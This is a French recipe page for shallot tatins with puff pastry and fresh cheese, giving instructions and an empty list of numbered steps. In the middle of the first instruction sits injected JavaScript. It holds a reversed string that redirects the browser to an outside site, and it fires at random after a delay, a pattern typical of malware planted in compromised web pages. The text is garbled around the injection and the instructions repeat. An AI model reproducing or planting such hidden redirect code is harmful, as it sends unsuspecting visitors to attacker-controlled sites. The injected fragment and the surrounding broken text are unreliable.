Tatins d’échalotes au fromage blanc
2021-06-07- Cuisine : Tatin
- Thématique : Végétarien
- Niveau : Facile
Pelez, émincez grossièrement les échalotes. Dans une poêle avec 2 cuillères à soupe d’huile d’arachide, sur feu moyen, faites cuire les échalotes tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant. Saupoudrez de sucre roux et laissez caraméliser pendant quelques minutes. Laissez tiédir.
Ingrédients
Pelez, émincez grossièrement les échalotes. Dans une poêle avec 2 cuillères à soupe d'huile d'arachide, sur feu moyen, faites cuire les échalotes tout en remuant. Saupoudrez de sucre roux et laissez caraméliser pendant quelques minutes. Laissez tiédir. Répartissez les dans des petites tartelettes beurrées, recouvrez les d'une cuillère à soupe de chèvre frais en tassant légèrement. Découpez 12 ronds de pâte feuilletée avec un emporte-pièce où en se servant d'un verre retourné. Posez un rond. Faites légèrement pénétrer le bord de la pâte à l'intérieur des empreintes.
Préchauffez le four à 180° C thermostat 6. Enfournez et faites cuire pendant 25 minutes. Vérifiez la cuisson. Sortez les du four. Laissez tiédir et les démouler. Dégustez avec une salade assaisonnée
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
Etape 13
Etape 14
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